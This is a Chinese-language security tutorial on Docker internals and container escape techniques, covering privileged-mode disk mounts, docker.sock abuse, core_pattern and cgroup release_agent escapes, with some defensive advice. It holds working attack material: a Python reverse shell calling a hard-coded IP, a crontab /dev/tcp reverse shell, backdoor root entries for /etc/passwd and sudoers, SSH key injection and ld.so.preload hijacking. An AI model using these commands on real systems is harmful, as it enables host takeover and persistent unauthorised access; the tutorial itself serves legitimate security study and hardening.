一. docker相关知识

Docker是开源的容器化平台,用于开发、部署和运行应用程序。
它通过将应用程序及其依赖项打包在轻量级的容器中,实现环境一致性 、快速部署 和资源高效利用这玩意类似虚拟机,是一个虚拟化技术。
我们在VM中使用的虚拟机其实基于物理硬件开辟的,而容器是基于我们操作系统内核来开辟的。这样就表明了容器要比虚拟机更加轻量,对CPU和内存等条件要求更低。

上图是 Docker 官方给出的架构图,里面包括了 Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓库三个部分。
其中宿主机包括了 Docker 守护进程、本地容器和本地镜像,Docker 守护进程(dockerd)的作用是侦听 Docker API 请求和管理 Docker 对象。
执行docker run hello-world命令后,这个过程会经历了什么?
1、Docker 客户端向 docker daemon 发送请求
2、Docker daemon 从 Docker Hub 上拉取镜像
3、Docker daemon 使用镜像运行了一个容器并产生了输出
4、Docker daemon 把输出的内容发送给了 docker 客户端
Docker Daemon相当于一个server,监听来自/var/run/docker.sock的请求,然后做出各种响应,例如返回镜像列表,创建容器

docker主要组件
- **Docker CLI(docker):**docker 程序是一个客户端工具,用来把用户的请求发送给 docker daemon(dockerd docker守护进程)
- **dockerd:**docker daemon/docker守护进程,负责接受用户指令,维护容器的生命周期
- **Containerd:**在宿主机中管理完整的容器生命周期,包括容器镜像的传输和存储、容器的执行和管理、存储和网络等
- **Containerd-shim:**它是 containerd 的组件,是容器的运行时载体,主要是用于剥离 containerd 守护进程与容器进程。引入shim,允许runc 在创建和运行容器之后退出,并将 shim 作为容器的父进程,而不是 containerd 作为父进程,这样做的目的是当 containerd 进程挂掉,由于 shim 还正常运行,因此可以保证容器不受影响。此外,shim 也可以收集和报告容器的退出状态,不需要 containerd 来 wait 容器进程。我们在 docker 宿主机上看到的 shim 也正是代表着一个个通过调用 containerd 启动的 docker 容器
- **RunC:**RunC 是一个轻量级命令行的工具,它是用来运行容器的,容器作为 runC 的子进程开启,在不需要运行一个 Docker daemon 的情况下可以嵌入到其他各种系统,也就是说可以不用通过 docker 引擎,直接运行容器。docker是通过Containerd调用 runC 运行容器的
二. 逃逸手段总结
docker逃逸的原因
第一种方式:配置不当引起的逃逸
当容器的权限配置不当或挂载敏感目录时,这些错误配置为攻击者提供了利用的机会。攻击者可以通过利用这些错误配置进行容器逃逸,从而逃逸到宿主机。
第二种方式:内核漏洞引起的逃逸
容器与宿主机共用系统内核,如果内核存在漏洞,攻击者就可以利用宿主机的内核漏洞进行容器逃逸 。
第三种方式:Docker软件自身的漏洞导致的逃逸
Docker是一个容器化平台,它包含了docker软件本身以及runc和containerd等核心组件。这些组件本身也可能存在漏洞,攻击者可以利用这些漏洞来进行容器逃逸。
Docker 安全风险l
1.容器镜像存在的风险
- 不安全的三方组件:利用开发者来构建镜像时使用了存在漏洞版本的 log4j2 组件,然后将其打包为业务镜像,这样即使没有漏洞,但因为引入了不安全的三方组件也变得有漏洞了。
- 不安全的镜像文件:在公共镜像仓库比如 Docker Hub 里,会存在一些有漏洞的镜像或者恶意镜像,如果使用了这些镜像那就存在风险了。
- 敏感信息泄露: 如果开发者为了开发、调试方便,可能会将数据库账号密码、云服务密钥之类的敏感数据打包到了镜像里,那别人获取到这个镜像后,就会导致敏感信息泄露了 。
2.活动中的容器存在的风险
- 不安全的容器应用: 在使用容器时,往往会需要进行端口映射,比如把 MySQL 的 3306 端口映射出来,如果 MySQL 被配置了弱密码,那就存在被利用的风险了。
- 不受限制的资源共享: 容器运行在宿主机上,容器必然要使用宿主机的各种 CPU、内存等资源,如果没有对容器进行资源使用限制,那么就存在宿主机被资源耗尽的风险。
- 不安全的配置与挂载 :如果设定了以下配置就会导致相应的隔离机制失效
- --privileged:使容器内的 root 权限和宿主机上的 root 权限一致.
- --net=host:使容器与宿主机处于同一网络命名空间,网络隔离被打破
- --pid=host:使容器与宿主机处于同一进程命令空间,进程隔离被打破
- --volume /:/host:宿主机根目录被挂载到容器内部,文件系统隔离被打破
3.其他安全风险
- 容器网络风险:虽然默认情况下,容器内部的网络与宿主机是隔离的,但是每个容器之间是彼此互相连通的,理论上在容器之间是存在内网横向的风险的。
- 宿主机操作系统风险:容器通常与宿主机共享内核,也就是说如果宿主机内核存在漏洞,意味着容器可能也会存在相同的漏洞。例如如果宿主机存在脏牛漏洞,那么拿到容器权限后,使用脏牛漏洞就可以获得宿主机权限,实现容器逃逸。
- 软件自身的漏洞:Docker 自身存在的一些漏洞,比如 CVE-2019-14271、CVE-2019-5736 等都可以导致容器逃逸,这些也都是风险点,后面会对这些漏洞进行尝试复现。

三. 实战演练
01 判断目标是否在docker容器
以下是几种常用方法:
1、可以直接使用该命令去判断(本质查看进程的cgroup信息)
在 Linux 系统(包括 Docker 容器基于的 Linux 内核环境)中,/proc 是一个虚拟文件系统,其中的文件包含了有关进程的各种信息。对于容器内的进程,/proc/1/cgroup 文件内容会体现出与容器相关的一些特征。
如果包含 明显的 docker 标识 则表明处于 Docker 容器中。
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
# 去查 PID 1 进程的 cgroup 信息里有没有 'docker' 这个关键词,如果有就说是,没有就说不是。
格式: 命令1 && 命令2 || 命令3
成功时执行 (&&)
失败时执行 (||)
如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然。
也可直接查看cgroup信息:

输出中若包含 docker、containerd 或类似 xxx.slice/docker-xxx.scope 的字段(如 1:name=systemd:/system.slice/docker-abc123.scope),则几乎可以确定是 Docker 容器。
2、检查根目录下是否存在 .dockerenv 文件
ls -la /.dockerenv
如果存在,大概率是 Docker 容器环境;如果不存在。也不能完全排除,需进一步验证。
3、查看系统挂载信息(mount)
mount | grep -i docker
-
看到overlay/overlay2且路径带docker(/var/lib/docker/overlay2/...)
-
看到tmpfs挂在/run、/tmp(如果发现 "/run、/tmp 这些临时文件夹存在内存里,很可能是Docker容器,正常系统很少这么干)
-
设备名带docker(如果看到设备名里有docker,例如/dev/mapper/docker-xxx,那这个环境就是Docker)
在docker中,挂载是一个很重要的概念,它往往与我们在渗透利用中挂钩,挂载大概来说就是docker的目录与宿主机的目录之间形成的映射,docker修改目录的内容,其宿主机默认也会进行同样的操作。但是docker会多一层权限限制,不过如果权限得当,则可以通过docker查看、修改、写入、执行文件,从而改变宿主机的目录、文件。
挂载的细节可以查看:
https://blog.csdn.net/m0_59777389/article/details/156241824?spm=1001.2014.3001.5501

以/proc开始的,我们就要仔细关注了,光挂载是不够的,我们还要看看其挂载之后的属性带来的阻碍和利用。所以我们从渗透的角度,看看挂载结果后面括号中的属性:
|--------------------------|------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------|
| 属性 | 作用 | 渗透利用示例 | 防御建议 |
| ro/rw | 控制文件系统只读或读写 | rw 权限下,可篡改 /etc/passwd,添加后门账户: echo 'eviluser:x:0:0::/:/bin/sh' >> /etc/passwd | 关键目录(如 /etc)强制设为 ro |
| nosuid | 禁用 SUID/SGID 权限 | 若未设置,可利用 SUID 程序提权(如 find / -perm -4000 查找可利用的 SUID 文件) | 所有用户可控挂载点强制启用 nosuid |
| nodev | 禁止创建设备文件 | 若未设置,可创建磁盘设备文件并挂载宿主机磁盘: mknod /dev/sda1 b 8 1 && mount /dev/sda1 /mnt | 容器和非特权挂载点强制启用 nodev |
| noexec | 禁止执行二进制文件 | 若未设置,可在可写目录(如 /tmp)上传并执行恶意程序: gcc exploit.c -o /tmp/exp && /tmp/exp | 临时目录和用户可控分区启用 noexec |
| size= | 限制文件系统大小(如 tmpfs) | 通过填满内存文件系统触发 DoS: dd if=/dev/zero of=/dev/shm/fill bs=1M count=65536 | 限制 size=64M 并监控使用情况 |
| relatime | 仅在文件修改时更新访问时间 | 通过监控访问时间推断敏感操作(如读取密钥文件): stat -c %x /etc/shadow | 对敏感文件使用 noatime 完全禁用访问时间记录 |
| mode= | 设置目录/文件权限 | 若权限过松(如 mode=777),可篡改配置文件: echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers | 遵循最小权限原则(如 mode=755 目录、644 文件) |
| inode64 | 允许 64 位 inode(用于大容量存储) | 结合文件系统漏洞绕过路径限制(如利用 XFS inode 溢出漏洞 CVE-2018-14634)https://github.com/luan0ap/cve-2018-14634 | 仅在内核 ≥4.16 时启用,并定期更新内核 |
| gid= | 设置默认组 ID | 若组权限配置错误(如 gid=0),可通过组权限读取敏感文件: ls -l /etc/shadow → 发现组为 root 可读 | 避免将敏感目录的组 ID 设为特权组(如 gid=0) |
| ptmxmode= | 设置伪终端设备权限 | 若权限过松(如 ptmxmode=666),可劫持终端会话: cat /dev/ptmx > /tmp/log | 设置为 ptmxmode=620 并限制访问组 |
| lowerdir= | OverlayFS 的只读层路径 | 路径遍历漏洞(如 CVE-2021-41091): mkdir /merged && mount -t overlay overlay -o lowerdir=/etc,upperdir=/upper,workdir=/work /merged → 通过 /merged/passwd 读取宿主机文件 | 严格限制 lowerdir 路径,禁止包含敏感目录 |
| nsdelegate | 启用 Cgroup 命名空间委托 | 通过创建子 Cgroup 绕过资源限制(如 CPU/内存): mkdir /sys/fs/cgroup/cpu/attacker && echo $$ > /sys/fs/cgroup/cpu/attacker/tasks | 仅在需要时启用,配合 memory_recursiveprot |
| memory_recursiveprot | 防止子 Cgroup 绕过内存限制 | 若未设置,可在子 Cgroup 中禁用内存限制: echo 0 > /sys/fs/cgroup/memory/attacker/memory.limit_in_bytes | Cgroup v2 强制启用此参数 |
基础了解完了,我们就步入正题------docker渗透!!!
02 容器逃逸手段
(配置不当)
1、Privileged 特权模式容器逃逸
**介绍:**如果容器是以Privileged 权限运行的那么就可能存在被逃逸的风险。
docker run --rm --privileged=true -it alpine
# --privileged:使容器内的 root 权限和宿主机上的 root 权限一致.
在Docker容器启动时如果添加了 --privileged参数,就会以特权模式启动docker。即具备所有的Capabilities。
**解释:**特权容器拥有主机上的几乎所有内核能力,几乎等同于主机上的 root 权限。攻击者如果突破容器,可能直接控制主机。
**典型场景:**某些特殊应用(如 Docker in Docker)需要特权模式,但通常应避免。
具体攻击流程:
A. 检测容器是否以特权模式运行
cat /proc/self/status | grep CapEff
# 它用于检查当前进程(即执行这条命令的 Shell)到底实际拥有哪些 Linux 内核能力(Capabilities)
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

值 000001ffffffffff是表示所有当前活动 capabilities 的十六进制位掩码。为了理解它,我使用 capsh实用程序对其进行解码。

解码后的列表清楚地显示了高影响力的 capabilities,例如:
-
cap_sys_admin- 允许挂载文件系统和执行管理操作。
-
cap_sys_module- 允许加载和卸载内核模块。
-
cap_net_admin- 授予网络配置权限。
这些高权限 capabilities 的存在证实了容器是使用 --privileged标志启动的。
我的路径很清楚:利用这些 capabilities 中的任何一个来尝试宿主机逃逸或权限提升。
B. 复现查看挂载磁盘设备
fdisk -l
##列出磁盘分区表信息(fdisk是磁盘分区管理工具)
fdisk -l
##列出所有块设备信息(硬盘、闪存盘/U盘、光驱/光盘)
lsblk
##查看磁盘信息(使用空间、挂载信息等)
df -h
##获取磁盘的uuid和属性
blkid
##列出所有挂载点
mount

C. 在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下
# 创建一个目录 test ,并将磁盘设备 /dev/vda1上的文件系统挂载到 /test目录下
mkdir /test && mount /dev/vda1 /test
D. 尝试访问宿主机 shadow 文件,若发现真实主机的系统文件,即挂载入成功
cat /test/etc/shadow # 用户密码信息

特权模式(
--privileged)是容器安全的核弹级漏洞 。一旦容器以--privileged启动,意味着容器获得了宿主机的几乎所有能力(Capabilities) ,包括但不限于CAP_SYS_ADMIN(系统管理权)、CAP_SYS_MODULE(内核模块加载权)等。此外,
/dev设备目录通常会被完全映射,且/proc目录通常是可写的。在这种"裸奔"状态下,你几乎拥有了和宿主机 Root 一样的权力,只是被困在一个 Namespace 的"气泡"里。所有的逃逸手段,本质上就是戳破这个气泡。
以下是特权模式下最经典的 4 种逃逸流派:
1. 挂载宿主机硬盘 (Device Mount) ------ 最简单粗暴
这是利用
CAP_SYS_ADMIN权限最直接的方式。特权模式允许执行mount命令,且能看到宿主机的硬盘设备。
核心逻辑 :我在容器里,但我能看到宿主机的硬盘(如
/dev/sda1)。那我把它挂载到我容器里的某个文件夹下,我不就能读写宿主机文件了吗?操作步骤:
查看硬盘设备:
fdisk -l # 或者 ls -l /dev/sd*创建挂载点并挂载:
mkdir /host_root # 假设宿主机根目录所在分区是 /dev/sda1 mount /dev/sda1 /host_root接管宿主机:
此时,/host_root 目录下就是宿主机的完整文件系统。
逃逸方式 A:写 Crontab(计划任务)反弹 Shell(参考上一题)。
逃逸方式 B:写 SSH Key 免密登录。
逃逸方式 C :
chroot /host_root /bin/bash直接穿越。
2. Cgroup Release Agent 注入 ------ 最经典技巧
如果管理员把
/dev目录做了限制,或者你找不到硬盘设备,可以用这一招。它利用了 Linux Cgroup v1 的清理机制。
核心逻辑 :特权模式拥有
CAP_SYS_ADMIN,允许挂载 Cgroup。我们告诉内核:"等这个 Cgroup 里的进程死光了,请帮我在宿主机上执行一个脚本"。前提:宿主机使用 Cgroup v1(目前大多数环境仍兼容)。
操作简述(具体步骤参考之前的回答):
挂载 Cgroup 控制器(如 RDMA)。
开启
notify_on_release。通过 OverlayFS 推算出容器内文件在宿主机上的绝对路径。
将该路径写入
release_agent。触发进程退出,内核执行 Payload。
3. 写内核文件 (sysfs/procfs) ------ 利用内核回调
特权模式下,
/proc和/sys通常是以可读写模式挂载的(普通容器是只读的)。这为攻击者提供了修改内核全局配置的机会。
核心逻辑:修改内核在处理特定事件(如程序崩溃、硬件热插拔)时调用的辅助程序路径。
流派 A:Core Pattern (崩溃处理)
利用 :修改
/proc/sys/kernel/core_pattern。操作 :
echo "|/var/lib/docker/.../evil.sh" > /proc/sys/kernel/core_pattern,然后制造一个程序崩溃,内核就会以 Root 权限执行该脚本。流派 B:Kernel Hotplug (热插拔)
利用 :修改
/proc/sys/kernel/hotplug(较老的内核或特定配置)。操作:指向恶意脚本,然后触发硬件变动(如创建 dummy 网卡)。
4. 加载恶意内核模块 (Kernel Module) ------ 最底层打击
这是降维打击。特权模式赋予了
CAP_SYS_MODULE权限,允许容器加载内核模块 (.ko文件)。
核心逻辑:我不跟你在用户态(User Space)玩了,我直接把我的代码注入到内核态(Kernel Space)。
操作步骤:
准备环境:你需要知道宿主机的内核版本,并编译一个恶意的内核模块(通常是 C 语言写的 rootkit)。
下载模块 :把编译好的
.ko文件传进容器。加载模块:
insmod evil_module.ko效果:内核模块运行在 Ring 0 级别。它可以直接创建一个反弹 Shell,或者隐藏进程,甚至直接修改内存中的数据。一旦加载成功,没有任何 Namespace 能限制住它。
5. 假如特权模式 + 共享命名空间 (PID Host)
很多时候,为了调试方便,管理员开启
--privileged的同时,还会加上--pid=host。
核心逻辑:我能看到宿主机的所有进程。
逃逸手段 :进程注入。
你可以使用调试工具(如
gdb)或者注入工具,直接依附(Attach)到宿主机的系统进程(如systemd或sshd)上,强行让它们执行你的代码。或者直接杀掉宿主机关键进程,利用重启机制替换二进制文件。
总结:攻击者的决策树
当你发现是特权模式时,按以下顺序尝试:
看
/dev:有/dev/sda1吗? -> 有 -> 挂载磁盘 (方法1) -> 游戏结束。看
/proc:能写/proc/sys/kernel/core_pattern吗? -> 能 -> Core Dump 逃逸 (方法3) -> 游戏结束。看 Capability :能挂载 Cgroup 吗? -> 能 -> Release Agent 逃逸 (方法2) -> 游戏结束。
绝杀 :有适配的内核模块吗? -> 有 -> insmod (方法4) -> 彻底接管。
结论 :
--privileged几乎等同于没有容器隔离。在生产环境中,没有任何理由运行特权容器,除非它是专门用于管理节点的系统级组件(如 Kube-proxy, Calico 等)。
E. 挂载成功之后有两种方式进行逃逸(之后可直接修改 /etc/passwd、植入 SSH 公钥等。 )
- 添加定时任务反弹shell
- 设置ssh公钥
后续具体操作请见:
https://mp.weixin.qq.com/s/yHh8EeKFnTw1JH7iVGg1Ow
当容器拥有 特权模式 (
--privileged) 并且你已经成功将 宿主机的根目录(或关键分区)挂载 到容器内部时,实际上你已经拿到了宿主机的最高控制权(Root)。这在安全领域被称为 "Game Over"。这时的"逃逸"不再需要利用复杂的内核漏洞(如 dirty cow 或 runC 漏洞),而是变成了"如何通过修改宿主机文件,让宿主机主动执行我的代码"。
以下是几种最经典、最直接的利用手段,按**"见效速度"和"隐蔽性"**排序:
1. 简单粗暴法:直接穿越 (Chroot)
这是最快验证你是否拥有宿主机 Shell 的方法。既然宿主机的根目录已经挂载进来了(假设挂载在
/host_mnt),你可以直接把容器的根目录切换过去。
原理 :利用
chroot命令,将当前的进程根目录切换为宿主机挂载目录。操作:
# 假设你把宿主机根目录挂载到了 /host_mnt chroot /host_mnt /bin/bash效果 :执行完这条命令后,你看到的
/etc/passwd、/usr/bin全是宿主机的。你执行的ps、netstat也是宿主机的。你现在就在宿主机上。局限 :虽然文件系统切换了,但某些 Namespace(如 PID、Network)可能还是隔离的(取决于
--privileged的具体参数),但这通常不影响你修改文件。
2. 计划任务法:Crontab 反弹 Shell (持久化)
如果你想让宿主机主动连回你的攻击机,或者想留一个后门,这是最常用的方法。
原理 :宿主机的
cron守护进程会定时检查配置文件。我们直接把恶意任务写入宿主机的配置文件中。攻击路径:
CentOS/RedHat 系 :
/host_mnt/var/spool/cron/rootUbuntu/Debian 系 :
/host_mnt/var/spool/cron/crontabs/root通用系统级 :
/host_mnt/etc/crontab或/host_mnt/etc/cron.d/Payload (写入内容):
# 每分钟反弹一次 Shell 到 192.168.x.x * * * * * root bash -i >& /dev/tcp/192.168.x.x/4444 0>&1注意:写入后,等待 1 分钟,宿主机的 Cron 服务会自动加载并执行。
3. SSH 密钥注入法 (免密登录)
如果宿主机开启了 SSH 服务(通常都会开),你可以直接把你的公钥写进去,然后像正常管理员一样登录。
原理 :SSH 守护进程允许使用
authorized_keys进行免密登录。攻击路径 :
/host_mnt/root/.ssh/authorized_keys操作:
在本地生成公钥 (
ssh-keygen).将公钥追加写入宿主机文件:
cat id_rsa.pub >> /host_mnt/root/.ssh/authorized_keys关键点 :如果
/host_mnt/root/.ssh目录不存在,需要创建并赋予正确的权限(700),authorized_keys权限通常要是 600。
4. 动态链接库劫持 (LD_PRELOAD)
这是一种比较隐蔽的手段。
原理 :Linux 系统在运行任何程序前,都会先加载
/etc/ld.so.preload中指定的动态链接库(.so 文件)。操作:
编写一个恶意的
.so文件(里面包含你想要执行的代码,比如反弹 Shell)。将这个
.so文件放到宿主机目录中(比如/host_mnt/tmp/evil.so)。修改宿主机配置:
echo "/tmp/evil.so" >> /host_mnt/etc/ld.so.preload效果 :宿主机上执行任何 命令(如管理员敲了个
ls),都会触发加载这个.so,从而执行你的恶意代码。
5. 账号劫持法 (修改 /etc/passwd)
原理:直接添加一个 UID 为 0 的新用户,或者修改 root 密码。
操作:
添加后门用户 :生成一个符合
/etc/passwd格式的行,追加到/host_mnt/etc/passwd。
# 添加一个名为 hacker,密码为空,UID为0(root权限)的用户 hacker::0:0::/root:/bin/bash修改 Root 密码 :用
openssl生成新密码哈希,替换/host_mnt/etc/shadow中的 root 字段。
总结:攻击者的思维导图
既然是特权模式 + 挂载磁盘,你的思路就是:"宿主机上哪个程序会自动读文件并执行?我就改那个文件。"
攻击向量 目标文件 (需加上挂载前缀) 特点 直接控制 chroot /mnt/host最快,即时生效 SSH 后门 /root/.ssh/authorized_keys最稳定,且是正规通道 计划任务 /var/spool/cron/root等待时间短,自动触发 自启动服务 /etc/rc.local或/etc/profile需要等待宿主机重启或管理员登录 动态链接 /etc/ld.so.preload极度隐蔽,触发频率高 给运维(你)的防御建议:
最小权限原则 :绝对禁止在生产环境使用
--privileged,除非你极其清楚后果。禁止挂载敏感目录 :使用 PodSecurityPolicy (PSP) 或 OPA Gatekeeper 禁止挂载
/,/etc,/var等宿主机目录。只读文件系统 :如果必须挂载,尽量使用
readOnly: true。
2、挂载 Docker Socket 逃逸
Docker Socket 用来与守护进程通信即查询信息或者下发命令,类似于网站的功能插件,如果在启动容器的时候挂载了这个功能,那么也会有容器逃逸的安全问题。
原理就是利用容器内对宿主机的 Docker 引擎的直接控制权,创建或操作具备访问宿主机资源能力的新容器/进程,从而突破当前容器的隔离限制。
# 环境搭建:创建一个容器并挂载 /var/run/docker/sock 文件
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入环境:docker exec -it with_docker_sock /bin/bash
具体攻击流程:
A. 检测是否将Docker SOCK文件挂在到容器中
ls -l /var/run/docker.sock # 检查文件是否存在
mount | grep docker.sock # 确认挂载来源

如果存在这个文件,输出显示 docker.sock 的宿主为 root 且权限为 rw(如 srw-rw---- 1 root docker),则运行下面命令来逃逸。
C. 在docker容器里创建一个新的容器(再下载一个docker),并将宿主机目录挂载到新的容器内
docker run -it -v /:/host ubuntu /bin/bash
chroot /host
D. 将根目录切换到挂载到宿主机的根目录,便可以访问宿主机资源了。

3、挂载宿主机procfs逃逸
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。
核心原理是:当容器内挂载了宿主机的 proc 文件系统(/proc)时,攻击者可以通过写入 /proc/sys/kernel/core_pattern 等敏感路径,触发宿主机执行任意命令。
具体细节请见附录8
# 环境搭建:创建了一个容器并挂载 /proc 目录
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
具体攻击流程:
A. 检测环境是否挂在 procfs
# 搜索指定文件,返回文件路径(类似Windows的文件搜索)
find / -name core_pattern
第一个是容器本身的 procfs,第二个是挂载的宿主机的 procfs

通过find查找/proc/sys/kernel/core_pattern不一定靠谱。
建议通过mount | grep '/proc/sys' 的方式查看是否以读写的方式挂载了/proc/sys/kernel/core_pattern
B. 找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
# 注意cat /proc/mounts等价于mount命令
# 也可以通过mount的结果去找workdir路径
workdir 是分层存储的工作目录,而merged 是挂载点(即容器的文件系统视图),将路径中的 work 替换为 merged 就是当前容器在宿主机上面的绝对路径。
由下图可知,当前容器在宿主机上面的绝对路径为:/var/lib/docker/overlay2/a7a150eaaad31da1134fda2cb314fb3268e3e47aac8f9775c6c42743c0653ffa/merged

C. 创建一个反弹 Shell 的 py 脚本
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "121.43.42.97"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
D. 赋予执行权限, 写入反弹 shell 到目标的 proc 目录下
chmod +x /tmp/.x.py # 给/tmp/.x.py文件赋予执行权限
# 篡改/proc/sys/kernel/core_pattern (The Trigger)
echo -e "| /var/lib/docker/overlay2/670308aff5056fc1ed98cce9b6cc617f8e8fd983d9aed7e8d20a3dd71dc4d8d4/merged/tmp/.x.py \rcore" > /host/proc/sys/kernel/core_pattern
# echo -e: 解释反斜杠转义字符。
# > (覆盖): 将输出写入文件,会清空原文件内容。
# >> (追加): 将输出追加到文件末尾。

E. 在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
F .先安装 gcc, 然后编译并执行该C语言文件使其崩溃执行(触发 Core Dump)
apt-get update -y && apt-get install gcc -y # 升级apt-get,并安装gcc
gcc x.c -o x # -o: 编译并生成可执行文件
./x # 执行文件
上面的shell看不懂的话请见附录10
(此操作具体可以参考下面链接)
https://mp.weixin.qq.com/s/CEb4nYwZOKBb2nEQ8dcCeQ
https://mp.weixin.qq.com/s/yHh8EeKFnTw1JH7iVGg1Owhttps://mp.weixin.qq.com/s/5_JnfrpPVS7m1clYzYJ9RQhttps://mp.weixin.qq.com/s/yHh8EeKFnTw1JH7iVGg1Ow
4、挂载宿主机Cgroup逃逸
- 功能 :Cgroup 是 Linux 资源控制机制,用于限制进程的 CPU、内存等资源进行限制和统计。
这种攻击利用了**notify_on_release**和 **release_agent**这两个 Cgroup V1的机制,用于在 Cgroup 子目录资源被清空时执行特定的动作,实现逃逸。
攻击流程如下(防御者必读):
-
条件 : 容器拥有
CAP_SYS_ADMIN权限 + Cgroup 目录被rw挂载。 -
动作: 攻击者在 Cgroup 目录下创建一个子目录。
-
利用 : 攻击者修改该子目录的
release_agent文件,将其指向一段恶意的 Shell 脚本。 -
触发: 攻击者杀掉该 Cgroup 下的一个进程。
-
结果 : 宿主机内核检测到进程结束,会自动触发
release_agent中定义的脚本。注意!这个脚本是由宿主机内核以 Root 身份执行的! -
逃逸: 恶意脚本执行,攻击者直接反弹 Shell 到宿主机,Game Over。
1. 漏洞核心原理:Cgroups v1 的特性滥用
release_agent 逃逸并非利用了代码漏洞(Bug),而是滥用了 Linux Cgroups v1 的一个管理特性(Feature)。
-
机制 :在 Cgroups v1 中,不仅包含资源限制功能,还包含管理功能。每个 Cgroup 目录下都有一个
notify_on_release文件和一个release_agent文件。 -
触发逻辑 :当
notify_on_release被设置为 1 时,一旦该 Cgroup 中的最后一个进程结束(且没有任何子 Cgroup),内核会自动触发清理机制。 -
逃逸点 :内核清理时,会读取该 Cgroup 目录下的
release_agent文件内容(通常是一个脚本路径),并在宿主机 上以 Root 权限执行该脚本。 -
根本原因 :Cgroups v1 的设计早于现代容器技术,它对宿主机和容器的边界隔离并不完善。内核在执行
release_agent时,并不区分这是来自容器内部的请求还是宿主机的请求。
注意: 根据 cgroups 的 Linux 手册页,release_agent和 notify_on_release文件是 cgroups v1 的一部分,在 cgroups v2中已被删除。这意味着此 payload 仅在 cgroups v1 系统上有效,不适用于使用 cgroup v2 统一层次结构。
2. 漏洞利用的先决条件
要实现这种逃逸,攻击者必须同时满足以下极其苛刻的条件。这也是为什么在默认配置的 Docker 或 Kubernetes 环境中,这种攻击通常无效的原因:
-
特权模式 (Privileged) :容器必须以
--privileged启动,或者被显式赋予了CAP_SYS_ADMIN能力。-
CAP_SYS_ADMIN允许执行mount操作,这是挂载 Cgroup 控制器的必要条件。 -
您的环境分析 :您之前的
CapEff输出显示您没有CAP_SYS_ADMIN,因此第一步就会失败。
-
-
Cgroups v1 环境 :宿主机必须使用 Cgroups v1。较新的 Linux 发行版(如 Ubuntu 22.04+)默认启用 Cgroups v2,很多旧的
release_agent利用手法在 v2 上已不再适用或机制已改变。 -
AppArmor/SELinux 未限制 :即使是特权容器,如果宿主机启用了严格的 AppArmor 或 SELinux 策略,挂载操作或写入
release_agent的操作也可能被拦截。 -
Root 用户:容器内必须是 Root 用户(UID 0),否则无法进行挂载和文件写入。
3. 概念性攻击流程(防御视角)
了解攻击者试图做什么,有助于在日志中识别异常行为:
-
挂载 Cgroup 控制器: 攻击者首先会在容器内创建一个目录,并试图将宿主机的 RDMA (Remote Direct Memory Access) 或 Memory Cgroup 控制器挂载到该目录。
- 监控点 :审计日志中出现异常的
mount系统调用,且类型为cgroup。
- 监控点 :审计日志中出现异常的
-
开启通知与指定代理 : 攻击者会创建一个子 Cgroup 目录,开启
notify_on_release,并将release_agent的路径指向容器内部的一个恶意脚本。- 关键点 :这里有一个路径转换的技巧。因为内核是在宿主机执行脚本,所以攻击者写入的路径必须是该脚本在宿主机文件系统上的路径 (例如
/var/lib/docker/overlay2/.../cmd),而不是容器内的路径(/cmd)。攻击者通常通过/etc/mtab或/proc/self/mountinfo来推断这个路径。
- 关键点 :这里有一个路径转换的技巧。因为内核是在宿主机执行脚本,所以攻击者写入的路径必须是该脚本在宿主机文件系统上的路径 (例如
-
写入 Payload: 攻击者在容器内编写恶意脚本(Payload),内容通常是反弹 Shell 或向宿主机写入 SSH Key。
-
触发执行 : 攻击者向子 Cgroup 中加入一个立即结束的进程(如
sh -c "echo $$ > cgroup.procs"),触发内核的清理回调,从而在宿主机执行 Payload。
具体的攻击代码请参考:
https://mp.weixin.qq.com/s/yHh8EeKFnTw1JH7iVGg1Ow
https://mp.weixin.qq.com/s/CEb4nYwZOKBb2nEQ8dcCeQhttps://mp.weixin.qq.com/s/oE4FCcScp7y30IaUABcndAhttps://mp.weixin.qq.com/s/CEb4nYwZOKBb2nEQ8dcCeQ
5、SYS_PTRACE 进程注入
SYS_PTRACE 被称为 Linux 能力(Capabilities)中的"上帝之手"。
如果说 SYS_ADMIN 是给容器一把万能钥匙,那么 SYS_PTRACE 就是给了容器一个"灵魂附体"的能力。
1. 什么是 SYS_PTRACE?
-
官方定义:它是 Linux 内核的一种能力,允许一个进程监视和控制另一个进程的执行,并能够修改被控制进程的内存和寄存器。
-
大白话 :它就是 "调试模式" 权限。
-
用途:
-
这是调试器(如
gdb)和系统调用追踪工具(如strace)工作的核心基础。 -
拥有这个权限的进程,可以随意暂停另一个进程,把一段代码(Shellcode)硬塞进它的内存里,然后强迫它执行。
-
2. 如何查看容器是否有 SYS_PTRACE 权限?
你有两种方法来检测。
方法一:使用 capsh(最直观)
如果容器里安装了 libcap2-bin 工具包:
capsh --print
-
看哪里 :观察
Current:这一行。 -
判据 :如果里面包含
sys_ptrace,恭喜你,你有权限。
方法二:查看 /proc/self/status(通用,无需安装工具)
如果没有 capsh,我们需要看内核状态掩码。
cat /proc/self/status | grep CapEff
-
看哪里 :
CapEff(Effective Capabilities)。这通常是一个 16 进制的数字,例如00000000a80425fb。 -
怎么算 :
SYS_PTRACE对应的是第 19 位(从 0 开始算)。-
第 19 位对应的 16 进制值是
0x0000000000080000。 -
如果你不会算,可以用 Python 验证:
